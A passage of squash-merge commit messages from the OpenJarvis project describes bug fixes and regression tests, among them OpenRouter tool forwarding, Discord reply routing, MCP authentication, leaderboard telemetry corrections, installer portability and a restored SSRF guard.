* fix: forward tools through OpenRouter engine
The OpenRouter chat completion path built the request from only
`model`, `messages`, `max_tokens`, and `temperature`. `tools` and
`tool_choice` passed via `kwargs` were silently dropped, so
function definitions never reached the model. Symptom on a
managed deep_research agent: the model answered every query from
its own prior knowledge and never invoked `knowledge_search`,
`knowledge_sql`, etc.
The same path also discarded `choice.message.tool_calls` from the
response — when a model did return a tool call (verified directly
against OpenRouter with `google/gemma-4-31b-it:free` and
`nvidia/nemotron-3-ultra-550b-a55b:free`), the agent loop never
saw it.
This patch:
- forwards `tools` and `tool_choice` into the OpenAI-compatible
request in both `_generate_openrouter` (sync) and
`_stream_openrouter` (async stream),
- extracts `tool_calls` from the response in `_generate_openrouter`
in the same shape used by the OpenAI / Anthropic paths.
Verified end-to-end against a `deep_research` managed agent using
an OpenRouter preset with Gemma 4 31B + Nemotron 3 Ultra fallback:
before, the agent stated "I don't have access to your vault";
after, it calls `knowledge_search`, cites results, and produces a
structured answer.
* test(engine): regression test for OpenRouter tool forwarding
Asserts the OpenRouter path forwards tools/tool_choice to the
OpenAI-compatible API and parses tool_calls back into the result (#511).
Verified: passes on the fix, fails (KeyError 'tools') against pre-fix main.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Jon Saad-Falcon <jonsaadfalcon@gmail.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* fix(chat): honor model config in managed agent chat (#477)
* test(server): regression test for managed-agent engine resolution
_make_lightweight_system must resolve the user's configured engine
(intelligence.preferred_engine, else engine.default) via get_engine,
not a hardcoded OllamaEngine (#477/#514). Asserts the key passed to
get_engine (captured before the system is built); runs under the server
extra (fastapi). Verified: passes on the fix, fails (KeyError) against the
pre-fix hardcoded-Ollama code.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Jon Saad-Falcon <jonsaadfalcon@gmail.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* fix(learning): exclude padding tokens from SFT loss
* test(learning): add regression tests for SFT padding-loss masking
Cover the fix in both trainers (#521):
- OrchestratorSFTDataset.__getitem__: labels are -100 at padded positions,
equal to input_ids elsewhere, and input_ids is not mutated.
- LoRATrainer._train_step: the labels passed to the model are masked at
padded positions (captured via an injected model), with input_ids intact.
Both are torch-gated (pytest.importorskip / skipif HAS_TORCH), matching the
project's existing torch test gating, so they skip cleanly in the default CI
env. Verified locally with CPU torch: both PASS against the fix and FAIL
against the pre-fix code.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Jon Saad-Falcon <jonsaadfalcon@gmail.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The two eval-dataset suites that download real corpora from the
HuggingFace Hub at runtime were running in the default CI lane. When the
Hub was unreachable or rate-limited they failed and reddened `main` even
though no code changed — confirmed by #506 (docs-only) failing on merge
while its own PR run passed an hour earlier. They also dominated CI
wall-time (~33 min of downloads + retry backoff on the failing run).
Add a `hub` pytest marker, apply it to both suites via module-level
`pytestmark`, and exclude it from the default CI lane
(`-m "not live and not cloud and not hub"`). The tests stay runnable on
demand with `pytest -m hub`.
The ADP provider swallows per-config download errors and returns 0
records on a network failure, so a Hub outage surfaced there as
`assert 1 <= 0` (not an exception) — it could not be made non-flaky by
exception handling alone, only by gating.
Coverage holds: removing these from CI drops total from 60.92% to
~60.73% (paranoid worst case 60.18%), still above the 60% gate.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* fix(leaderboard): correct telemetry pipeline and outlier handling
The public leaderboard at /leaderboard showed a clear bimodal Wh/token
distribution: most users at ~3-5 J/token, ~30% inflated by 1000-4000×.
A 5-agent investigation workflow + 4-agent verification pass traced the
inflation to a cluster of related bugs across telemetry, server, and
display layers. This PR fixes the in-repo half. Backfilling existing
Supabase data is a separate follow-up.
Bug 1 — Dual telemetry recording (`server/routes.py`)
=====================================================
`_handle_direct` wrapped the engine with `instrumented_generate`
unconditionally. When `app.state.engine` was already an
`InstrumentedEngine` (the common case when telemetry is wired in),
BOTH layers published `TELEMETRY_RECORD` — once from the inner
`InstrumentedEngine.generate`, once from the outer wrapper. Every
chat-completion request was counted twice in the leaderboard pipeline.
Fix: detect the InstrumentedEngine and unwrap to `._inner` before
passing to the wrapper so only one layer fires.
Bug 2 — KV-cache fallback over-counts multi-turn (`server/savings.py`)
=====================================================================
`compute_savings` falls back from `prompt_tokens_evaluated` to
`prompt_tokens` when the KV-cache-aware count is missing. But routes.py
aggregates by summing each turn's full prompt — which counts the system
prompt N times for an N-turn conversation. The fallback inflated FLOPs
and energy by N×.
Fix: use 0 (conservative under-count) when the evaluated count is
missing rather than falling back to the inflated `prompt_tokens` sum.
Bug 3 — TelemetryRecord lacked methodology versioning
=====================================================
There was no per-record version tag, so legacy (pre-fix) and current
records were silently aggregated together in the public leaderboard
even though they used different methodologies.
Fix: add `token_counting_version: Optional[int]` field to the
`TelemetryRecord` dataclass + a nullable column to the SQLite schema
(with idempotent migration); the constant moves from `server.savings`
to `core.types` to avoid the server→telemetry layering. New records
write the current version; pre-fix rows remain NULL. The aggregator
gains a `current_methodology_only=True` flag that filters NULL rows out
of leaderboard sums — local dashboards leave it off so historical
aggregates still render.
Bug 4 — Leaderboard JS displayed missing telemetry as legit zeros
=================================================================
Rows with significant token counts but `energy_wh_saved = 0` and
`flops_saved = 0` rendered as `0.00 Wh / 0 FLOPs` — visually identical
to a user who genuinely did almost nothing. The headline totals also
included these rows.
Fix: new `isMissingTelemetry()` detector renders missing-telemetry
energy/FLOPs cells as `—` (with a tooltip explaining why); a new
`.lb-missing` CSS class differentiates the placeholder visually.
Bug 5 — Outlier filter was too generous
=======================================
`MAX_ENERGY_WH_PER_TOKEN = 10` left a 10,000× margin that admitted
every Group B row even though those values are physically impossible
(would imply a space-heater per token). Same for the FLOPs cap at
`1e17`.
Fix: tighten to `0.5` Wh/token (still 500× over a typical consumer GPU)
and `1e15` FLOPs/token (still 10,000× over typical). This removes
existing pre-fix corrupt rows from the public view without touching
Supabase.
Tests
=====
New regression tests (all pass, ruff clean):
- `tests/server/test_routes.py::test_instrumented_engine_unwrapped_to_avoid_dual_telemetry`
— pins the bug 1 fix; asserts exactly ONE TELEMETRY_RECORD event per
request when the engine is already an InstrumentedEngine.
- `tests/server/test_savings.py` (NEW file, 3 tests) — pins the bug 2
fix (FLOPs not inflated via fallback) and the cost-side invariant
(dollar savings still use full prompt_tokens because cloud providers
bill per input token even when local KV cache hit).
- `tests/telemetry/test_aggregator.py::TestMethodologyFilter` (3 tests)
— default behaviour includes legacy rows (local dashboard parity);
`current_methodology_only=True` excludes them; the summary surface
honors the same filter.
Unrelated test note
===================
`tests/telemetry/test_energy_wiring.py::TestTelemetryStatsEnergy::test_export_includes_energy_fields`
and `::TestEndToEndPipeline::test_ask_to_export_with_energy` are flaky
on this branch but ALSO flaky on `main` (confirmed via stash + the
banner-only run). Root cause: `_version_check.py:132-135` prints the
"new version of OpenJarvis is available" banner to stdout outside the
throttle window, contaminating `json.loads(result.output)` in those two
tests. Reproducible with `OPENJARVIS_NO_UPDATE_CHECK=1` → all pass.
That's a separate bug (the banner shouldn't write to the same stream
as machine-readable output); not addressing it here to keep this PR
focused on the leaderboard pipeline.
What this PR explicitly does NOT do
====================================
- Backfill ~30% of Supabase rows that already shipped with inflated
values from pre-fix clients. That requires Supabase write access and
is the natural follow-up — see PR comments for proposed dry-run audit
query and the additive `methodology_version` column migration.
- Distinguish which past submissions came from buggy vs correct clients
retroactively (no `app_version` tag on existing submissions).
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
* test(evals): fix test_energy_scales_linearly under leaderboard fix
CI on #498 failed in the slow `test` job:
tests/evals/test_use_case_benchmarks.py::TestSavings::
test_energy_scales_linearly — ZeroDivisionError: float division by zero
Root cause: the test (and `test_energy_wh_matches_direct_formula`)
called `compute_savings(N, 0)` without `prompt_tokens_evaluated`. Under
the OLD buggy fallback, an unset evaluated count silently became N,
energy scaled linearly with N, and the test passed by accident. Under
this branch's conservative fix the fallback is 0, FLOPs collapse to 0,
and the `p10.energy_wh / p1.energy_wh` ratio divides 0 by 0.
The test's own docstring says "evaluated tokens (KV-cache model)" — it
was always meant to exercise the explicit-evaluated path, the API
call just didn't match. Pass `prompt_tokens_evaluated` explicitly so
the test now expresses the invariant it claims to.
Same one-line fix for `test_energy_wh_matches_direct_formula` plus an
explicit `flops > 0` sanity assertion — that test was passing trivially
with `0 == 0` after the conservative fallback fix, masking whether the
formula was actually being exercised.
No production code change in this commit. Verified locally: all 6
TestSavings tests pass; the 5 new regression tests added on this branch
still pass.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
---------
Co-authored-by: krypticmouse <herumbshandilya123@gmail.com>
Co-authored-by: Claude Opus 4.7 <noreply@anthropic.com>
Closes#459. Reported by @jasonftl with a precise smoking gun: incoming ChannelMessage has channel="discord" (TYPE label) and conversation_id=<numeric channel id>, but the reply code was using cm.channel as the destination — Discord saw /channels/discord/messages and 404'd silently, blackholing every reply.
The bug was two field-mappings in channel_agent.py:_process_message (the happy path + the exception path):
self._channel.send(
msg.channel, # WRONG — TYPE label
reply,
conversation_id=msg.conversation_id, # WRONG — channel id used as msg-ref-id
)
The existing DiscordChannel.send() contract — proved by the existing test_send_with_conversation_id test — is:
- first positional `channel` = native destination ID (Discord channel id)
- `conversation_id` kwarg = native message ID for reply threading
Fix: swap both fields to the correct ones from ChannelMessage:
self._channel.send(
msg.conversation_id, # Discord channel id
reply,
conversation_id=msg.message_id, # message id for threading
)
Plus a defensive guard in discord_channel.py: when channel is empty, refuse fast with a clear warning instead of POSTing to /channels//messages and silently 404'ing.
3 new tests, 38 affected pass.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Closes#461. Reported and empirically validated by @swilliams76360.
Two bugs prevented authenticated MCP servers (e.g. Home Assistant) from working with OpenJarvis:
1. StreamableHTTPTransport never sent Authorization: Bearer <token> — constructor didn't accept a token kwarg and _build_headers() never set the header. Authenticated MCP servers always returned 401.
2. jarvis ask and jarvis serve never iterated config.tools.mcp.servers — only loaded tools from ToolRegistry. MCP tools were silently dropped on every CLI invocation.
The reporter's 3-file fix was correct; the workflow investigation surfaced a 4th file (agent_manager_routes.py:695, identical broken code) and an adversarial-review catch (MCP clients in _build_tools would be GC'd on function return, closing transports mid-request — fixed by stashing on agent._mcp_clients).
Edits:
- transport.py: token kwarg + Authorization header (skips on empty/None — avoids malformed "Bearer " that triggers confusing 400s).
- mcp/loader.py (NEW): shared load_mcp_tools_from_config helper returning (tools, clients). Caller MUST hold the clients reference.
- builder.py + agent_manager_routes.py: extract cfg.get("token"), forward to transport.
- cli/ask.py: _run_agent calls the loader, dedupes by spec.name (registry wins), stashes clients on agent._mcp_clients.
- cli/serve.py: same pattern in main-agent AND channel-agent paths; mcp_clients initialised before the accepts_tools branch so the post-instantiation reference is always valid.
22 new tests (transport + loader + discovery updates), 179 total cli/server/mcp tests pass on this branch.
Adversarial review interrogated 10 angles — slotted-class attr safety, MCPConfig duck-typing, config.tools.mcp AttributeError risk, dedup precedence, token leak via str(exc), logger scope in serve.py, _mcp_clients shadowing, _channel_mcp_clients lifetime, empty-token future-compat, lazy-import cost shift. Nine non-issues; the tenth (theoretical token leak via httpx exception str()) assessed as low actual risk because the token is a header value, not URL-embedded.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Adds --persona NAME / --persona none and a [memory_files].persona_name config field, resolving ~/.openjarvis/personas/<name>/{SOUL,MEMORY,USER}.md. Default (empty) preserves today's global-persona behavior exactly. Includes a path-traversal guard on persona names. Resolution lives in SystemPromptBuilder._resolve_persona so all callers benefit. Squad-derived: Ada (Qwen3.6-27B) authored the spec independently from the issue+code; Lucy (Qwen3-Coder-Next, 80B-A3B / ~3B active) implemented it; cross-function param threading completed in the test phase. 21 existing tests pass; +8 new persona-scope tests.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Consolidates two reports that overlap in scope:
- #476 (@senki): install.sh hardcoded `--python 3.11` but
pyproject.toml declares `requires-python = ">=3.10,<3.14"`. The
installer should track the project's allowed range, not pin a
conservative-three-years-ago version.
- #484 (@sanjayravit): install.sh crashed on hosts with no
python3/python on PATH because `mark_done`, `beacon`, and
`get_anon_id` all called $PY_CMD via inline Python heredocs.
This PR closes both gaps with five surgical edits to install.sh
(all behavior-preserving for the existing happy path; the bats
tests prove it):
1. get_anon_id — replace `python3 -c uuid` with POSIX
`/dev/urandom + od` + bash substring expansion. Same UUID v4
shape; works on Python-less hosts.
2. beacon — replace the 40-line Python heredoc with curl + a
shell-built JSON payload. All inputs are from controlled
sources (event ∈ fixed vocabulary, stage from stage_label(),
numeric ids/codes from validated arithmetic, anon_id from a
fresh UUID) so no general-purpose JSON escaping is needed.
`|| true` is load-bearing — PostHog 5xx must never abort an
install via the ERR trap.
3. mark_done — replace `python3 -c json.load+update+dump` with
awk that regenerates the file from scratch. Idempotent: if
the key is already marked, return early. Robust against
prior format drift. wsl key is always rewritten last so a
later FORCE_WSL=1 re-run correctly updates it.
4. parse_requires_python — new helper. Greps the project's
requires-python field, handles inclusive (`<=3.13`) and
exclusive (`<3.14`) upper bounds correctly, falls back to
3.11 if pyproject can't be parsed (the previous hardcoded
value — safe under the existing 3.10-3.13 range).
5. create_venv — call parse_requires_python instead of
hardcoding 3.11. The existing uv-managed-Python fallback
(from #444) still kicks in if the host doesn't have the
target version installed.
Adversarial review caught two real bugs before commit:
- HIGH: parse_requires_python's exclusive-bound regex would
also match the digits after `<=` (inclusive bound) and then
incorrectly subtract 1 — producing 3.12 from `<=3.13`. Fixed
by checking the inclusive form first.
- MEDIUM: the new "no Python on PATH" bats test silently skips
symlinking `pgrep` on hosts where it isn't at /usr/bin or
/bin (some minimal BusyBox configurations). Added an explicit
"no matching process" fallback so start_ollama's check works.
New bats coverage:
- `install succeeds with no system Python on PATH (#484)` —
builds a PATH that excludes python3/python and exercises the
full install. Asserts state file is written and contains
greppable step keys.
- `mark_done is idempotent — second mark of same key doesn't
duplicate` — re-runs the install and verifies install_uv
appears exactly once in install-state.json.
- `create_venv picks newest in requires-python range, not
hardcoded 3.11 (#476)` — asserts uv was called with
`--python 3.13` (the upper minor of `>=3.10,<3.14`).
The git stub now includes `requires-python = ">=3.10,<3.14"`
in its fake pyproject.toml so create_venv has something
realistic to parse.
@sanjayravit — your PR #484 motivated this consolidation;
closing that one as superseded with credit.
Co-authored-by: krypticmouse <herumbshandilya123@gmail.com>
Co-authored-by: Claude Opus 4.7 <noreply@anthropic.com>
A [system_prompt] prefix set in config.toml was silently ignored: (1)
load_config()'s section allowlist dropped the [system_prompt],
[memory_files], [compression], and [skills] blocks entirely; (2)
SystemPromptConfig had no prefix field; (3) the builder never prepended
one.
Add the four blocks to the allowlist, add prefix: str = "" to
SystemPromptConfig, and prepend a "prefix" PromptSection at the front of
SystemPromptBuilder's frozen sections so it leads build() output and is
exposed via sections() (#457). Empty prefix emits no section — existing
configs are byte-for-byte unchanged.
Rebuilt on top of #457 (which refactored the builder to PromptSection
objects); the original #452 by @SoulSniper-V2 patched the pre-#457
method. Credit to @SoulSniper-V2. Adds the regression tests the original
PR lacked: config parse + prefix-prepended + empty-prefix-unchanged.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* rlm: expose real tool calls inside the repl
* rlm: wrap long TypeError message in repl
* style(rlm): collapse over-wrapped TypeError to satisfy ruff format
The cherry-picked RLM tool-call work left a `raise TypeError(\n message\n)`
that `ruff format --check` rejects (the PR's own lint-fix commit broke
format). Collapse to `raise TypeError(message)`. No behavior change.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Eddie Richter <eddie.richter@amd.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
web_search returned thin, unlabeled results (Tavily default search_depth,
**title**/url/content blob), so small models in the native_react loop
tended to echo URLs instead of synthesizing content (#390). Query Tavily
with search_depth="advanced" and format each result as a labeled block:
### {title}
Source: {url}
Summary: {content or snippet}
joined by `---` separators. DuckDuckGo fallback uses the same labeled
shape. Falls back to a result's `snippet` when `content` is absent.
Extracted from #448 (the web_search portion only; that PR also bundled
an unrelated install.sh rewrite, left out of scope here). Credit to
@sanjayravit for the original fix. Adds tests asserting the labeled
format, the snippet fallback, and search_depth="advanced"; updates the
max_results test for the new call signature.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The run-as-root install case doc still showed the retry command using
the community-operated openjarvis.ai domain, whose TLS is broken and
which the project does not control (#337). Point it at the canonical,
project-controlled GitHub Pages URL, matching README and the install
docs. Documentation only — the bats test it describes asserts exit
code + "root" in stderr and has no URL dependency.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
`jarvis serve` startup was slow on two counts addressed here:
1. discover_engines() probed each registered engine's health() serially,
and every probe is a blocking network check with its own ~2s timeout —
so N dead/slow localhost ports cost N*2s. Run the probes concurrently
in a ThreadPoolExecutor; the existing healthy.sort() normalizes order,
so the result is identical to the serial version. health() impls are
read-only on per-instance HTTP clients with no shared mutable state.
2. The PyPI update check ran a blocking urlopen (up to 3s on a cache
miss) inline before dispatch, delaying every command. Move it to a
daemon thread — it's best-effort and never raises.
Together these remove ~10-30s from cold startup. Adds a regression test
asserting discovery probes overlap (concurrency), not just that output
is unchanged (covered by existing tests).
Note: the larger ~30-40s win — the duplicate SystemBuilder.build() in
serve.py — is NOT addressed here; it's not redundant (the second build
wires a JarvisSystem the inline path never constructs) and needs a
design pass. Deferred.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* fix(security): detect Rust at import time + SSRF Python fallback (#225)
RUST_AVAILABLE was hardcoded to True, so the exported flag never
reflected reality and the pure-Python fallbacks it was meant to gate
were unreachable.
- _rust_bridge: compute RUST_AVAILABLE dynamically by probing the
compiled extension once at import time.
- security.ssrf: check_ssrf now falls back to the existing
_check_ssrf_python implementation when the Rust extension is not
built, instead of raising ImportError. The SSRF guard is
security-critical and must never be silently skipped or crash just
because Rust was not compiled.
- tools.browser: drop the `except ImportError: pass` around the SSRF
check, which previously disabled SSRF protection entirely on installs
without the compiled backend (internal/metadata endpoints reachable).
- tests: cover the Python fallback path (metadata IP, private IP, and
public URL) with RUST_AVAILABLE patched False.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* test(security): make test_no_hostname backend-agnostic
The cherry-picked #451 fix adds a pure-Python SSRF fallback, but
test_no_hostname asserted the Rust-specific message "Invalid URL". The
Python fallback returns "No hostname in URL" for the same input, so the
SSRF suite failed on exactly the uncompiled-install path #451 targets
(in CI the Rust extension is built, masking it).
Assert the security behavior (URL blocked, non-None reason) and accept
either backend's wording, so the suite passes on both the Rust and
Python paths.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* test(tools): update browser SSRF test for non-bypassable check
The #225 fix removes the `except ImportError: pass` that silently
disabled the SSRF check in browser navigation. The existing
test_execute_ssrf_module_missing asserted that very anti-pattern ("skip
check and proceed"), so it failed once the swallow was removed.
Replace it with tests that assert the SECURE behavior: the SSRF check
runs unconditionally and is honored (a private-IP URL is blocked even
when navigation would otherwise succeed), and a public URL still
navigates. check_ssrf's pure-Python fallback means the import never
fails anymore, so the old skip path no longer exists.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Rahul <therahulll56@gmail.com>
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
* fix(server): load SOUL.md / USER.md context in streaming chat
* refactor+test: extract _build_managed_system_prompt + cover #431
The streaming persona fix was inline and untestable without a live
engine. Extract it into _build_managed_system_prompt (matching this
module's extract-and-unit-test pattern for the streaming helpers) and
add regression tests:
- SOUL.md persona is injected into the streaming system prompt (#431),
- the agent's own template is preserved,
- output matches a directly-constructed SystemPromptBuilder (parity with
the CLI/ask path — the whole point of the fix).
Behavior unchanged from the original PR; this only makes it testable and
locks in CLI parity.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Jon Saad-Falcon <41205309+jonsaadfalcon@users.noreply.github.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Some OpenAI models (e.g. gpt-5, the default for a fresh cloud install)
reject a non-default temperature with HTTP 400 "Unsupported value:
'temperature' does not support 0.7 ... Only the default (1) value is
supported." — so the user's very first prompt fails (#426).
Detect that specific 400 (param=temperature + unsupported_value/"only the
default"/"does not support") and retry the create() once without
temperature, mirroring the tools-400 retry in the Ollama and
OpenAI-compat engines. Unrelated 400s are re-raised unchanged.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
`jarvis agents list` crashed with a secondary Rich MarkupError when the
underlying exception message contained markup metacharacters like
`[...]`: the error handler did `console.print(f"[red]Error: {exc}[/red]")`,
and Rich re-parsed the interpolated message as markup (#297).
Escape the dynamic message with rich.markup.escape and keep only the
static "Error:" label styled, so the original error surfaces cleanly
instead of a traceback. Adds a regression test that reproduces the
MarkupError via an exception message with brackets.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Apple FM's stream_response yields cumulative text snapshots, but
OpenAI-compatible clients concatenate delta.content — so streamed
responses were duplicated/stuttered (#378). Diff each snapshot against
the last and emit only the incremental suffix; fall back to the full
snapshot if the model revises earlier text, and skip empty deltas.
Rebased on #377 (apple_fm_sdk migration): uses the options= streaming
API. Adds a stubbed-SDK regression test asserting deltas are
incremental, not cumulative.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* fix(engine): modernize apple_fm_shim for the public apple-fm-sdk
Apple released the official Foundation Models Python SDK as
`apple/python-apple-fm-sdk` (import name `apple_fm_sdk`, distribution
name `apple-fm-sdk`). The shim's `import apple_fm` predates the public
SDK and the per-call API has since moved as well; running the shim
against current `apple-fm-sdk` v0.1.1 fails on import, then on the
`/health` call shape, and again on every `respond` / `stream_response`
keyword.
This change brings the shim up to date with the real SDK without
altering its external OpenAI-compatible contract:
- Import `apple_fm_sdk` (the public name). Update the missing-package
error to point at the GitHub repo since the SDK isn't on PyPI;
installation is `uv pip install -e <clone>`.
- `SystemLanguageModel.is_available()` is an instance method and now
returns `(bool, SystemLanguageModelUnavailableReason | None)`. The
health endpoint instantiates the model and unpacks the tuple, and
surfaces the reason string when the model is unavailable.
- `LanguageModelSession.respond` and `.stream_response` no longer
accept `max_tokens` / `temperature` positionally; they take a
`GenerationOptions` instance via the `options` kwarg. The shim now
builds a `GenerationOptions(temperature=..., maximum_response_tokens=...)`
from each `ChatRequest` and threads it through both paths.
`temperature` is now actually honored (the previous code dropped it
silently).
- Add `response_model=None` to the `/v1/chat/completions` decorator so
FastAPI doesn't try to build a Pydantic field for the
`JSONResponse | StreamingResponse` union return type — that fails
with the FastAPI version pinned in the `server` extra.
- Update the module docstring to reference macOS 26 + Apple
Intelligence (the SDK's actual minimum), not macOS 15.
## How was this tested?
- `uv pip install -e ./python-apple-fm-sdk` against a local clone of
Apple's repo on macOS 26 / M5 Max with Apple Intelligence enabled.
- `uv sync --extra dev --extra server` then `uv run uvicorn
openjarvis.engine.apple_fm_shim:app --host 127.0.0.1 --port 8079`.
- `GET /health` → `{"status": "ok"}` (200).
- `GET /v1/models` → lists `apple-fm`.
- `POST /v1/chat/completions` with messages + temperature +
max_tokens → returns a real Apple Intelligence completion.
- End-to-end through OpenJarvis: add `[engine.apple_fm]
host = "http://localhost:8079"` to `~/.openjarvis/config.toml`,
then `jarvis ask --engine apple_fm --model apple-fm "..."` returns
the same Apple FM response routed through the OpenAI-compatible
engine wrapper.
- `uv run ruff check src/openjarvis/engine/apple_fm_shim.py` and
`uv run ruff format --check src/openjarvis/engine/apple_fm_shim.py`
both pass.
* test(engine): add stubbed-SDK tests for apple_fm_shim migration
Covers the apple_fm -> apple_fm_sdk migration: GenerationOptions carries
temperature + max_tokens and is passed via options= to respond() and
stream_response(), and /health unpacks the (available, reason) tuple
from SystemLanguageModel().is_available().
The real apple-fm-sdk is not installable in CI (not on PyPI; macOS 26 +
Apple Intelligence only), so the tests inject a stub SDK into
sys.modules. They verify the shim's OpenAI-compat wiring, not Apple's
real SDK behavior.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Jon Saad-Falcon <41205309+jonsaadfalcon@users.noreply.github.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* fix: copy package includes in Docker build
* fix: copy package includes in GPU Docker builds too
PR #450 fixed the CPU Dockerfile but Dockerfile.gpu and
Dockerfile.gpu.rocm have the identical bug: they COPY src/ then
`uv pip install ".[server]"` without copying the non-src
force-include paths (scripts/install, deploy/windows), so hatchling's
wheel build fails the same way on GPU images (#447).
Adds the two COPY lines to both GPU Dockerfiles and generalizes the
regression test to guard every wheel-building Dockerfile (CPU + both
GPU variants) instead of only the CPU one.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Jon Saad-Falcon <41205309+jonsaadfalcon@users.noreply.github.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
When a client streams (stream:true) with explicit `tools`, the server
routed to the agent stream bridge, which ignored request_body.tools, ran
the agent's own tool loop, and word-split filler content into fake token
deltas — dropping the caller's tool_calls. This is the streaming analog
of #414 (whose non-streaming fix was #454).
Now stream+tools bypasses the agent and streams the model's raw
function-calling decision via engine.stream_full(), emitting OpenAI-shape
tool_calls deltas and a tool_calls finish_reason. Adds tool_calls to
DeltaMessage and removes the now-dead _handle_agent_stream.
Verified end-to-end on Ollama (qwen3.5:4b) plus a unit regression test.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Closes#414.
Root cause: routes.py:151 unconditionally routed non-streaming /v1/chat/completions through _handle_agent when an agent was registered. _handle_agent calls agent.run(input_text) which IGNORES request_body.tools entirely, runs the agent's own internal tool loop with its own (different) tool spec, and returns only result.content — never result.tool_calls. The "Understood. If you have another request..." filler is not hardcoded anywhere in OpenJarvis (the cloud_router.py:126 "Understood." is a different Gemini-only injection). It's the model's actual generic response when the agent re-prompts it without the user's intended tools.
Fix: one conditional. Skip _handle_agent when request_body.tools is present — the client is asking for raw OpenAI-compat function-calling, so route to _handle_direct which preserves tool_calls. Plus a forward-looking comment documenting this as an intentional trade-off so a future maintainer doesn't naively remove the guard.
Streaming path left intact (its asymmetry — "use agent_stream WHEN tools present" — is intentional per the existing comment at lines 143-145; reporter's repro is non-streaming).
Two regression tests:
- test_with_tools_bypasses_agent: mocks engine+agent, asserts tool_calls survives, agent.run is NOT called.
- test_without_tools_still_uses_agent: pins existing behavior for the no-tools path.
Reported by @gilbert-barajas — the side-by-side curl repro made the triage tractable.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Reimplements the useful parts of #385 cleanly.
Adds two small cross-platform helpers under `openjarvis.core.utils`:
- `get_python_executable()` — prefers `python3`, falls back to `python` for Windows / minimal distros that only ship the unversioned name.
- `open_browser(url)` — `webbrowser.open` by default; on Windows uses `cmd /c start "" <url>` to avoid console-host edge cases.
Swapped at every hardcoded `python3` / `webbrowser.open` site: `connectors/oauth.py`, `evals/scorers/livecodebench.py`, `scripts/oauth_all.py`, `scripts/install/install.sh` (adds `PY_CMD` detection block), `scripts/quickstart.sh` (adds `MINGW*|MSYS*|CYGWIN*) cmd /c start` case), and the two affected test files. Test files wrap `get_python_executable()` in `shlex.quote()` before interpolating into `shell=True` strings — Windows interpreter paths often contain spaces.
Deliberately different from #385: `openjarvis.core.__init__` does NOT re-export `DEFAULT_CONFIG_DIR` (would have raised ImportError because it's in `openjarvis.core.config`, not the package `__init__`; re-exporting would also force eager import of the heavy config module at every `import openjarvis.core`). `oauth.py` keeps `from openjarvis.core.config import DEFAULT_CONFIG_DIR` alongside the new `from openjarvis.core import open_browser`.
Original API surface and call-site sweep by @sanjayravit in #385 — huge thanks for the careful Windows-compatibility audit. This PR preserves your design while fixing the ImportError edge cases caught during review.
Co-Authored-By: sanjayravit <sanjayravit@users.noreply.github.com>
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Addresses #404 (unable to launch / fully download) and contributes to #309 (stuck on starting api server) by removing the eager numpy import paths that fail hard when a Windows host has a partially-installed or cp314-incompatible numpy.
What changed:
- `src/openjarvis/connectors/embeddings.py` / `hybrid_search.py`: numpy imports are now lazy (inside the method that needs them) with a `TYPE_CHECKING` guard for annotations. Default-argument evaluation no longer touches numpy at module import.
- `src/openjarvis/cli/__init__.py`: the `deep_research_setup` command import is now guarded behind a `try/except Exception` so an OverflowError or ImportError during its module load doesn't crash the entire CLI.
- New regression test in `tests/cli/test_cli.py`: `test_importing_cli_does_not_import_numpy` spawns a subprocess and asserts `numpy` is not in `sys.modules` after `import openjarvis.cli`. Guards against future eager-numpy regressions on Windows.
Reported by @Tentacle39 in #404 and seen alongside @xoomarx's #309. Thanks to both — the Windows-only crash signature made this hard to diagnose without your repros.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
The real `jarvis ask --agent opencode` path passes an InstrumentedEngine
(telemetry wrapper) whose underlying engine — and its `_host` — lives at
`_inner`. The base-URL derivation only checked the top object, so it returned
"", no provider was registered, and opencode 500'd on `openjarvis/<model>`.
Direct construction with a raw engine masked this; only the CLI path exposed
it.
- _derive_openai_base_url now unwraps up to 6 wrapper layers
(`_inner`/`_engine`/`_wrapped`) to find `_host`/`base_url`.
- run() resolves the provider/model spec up front and, when it genuinely
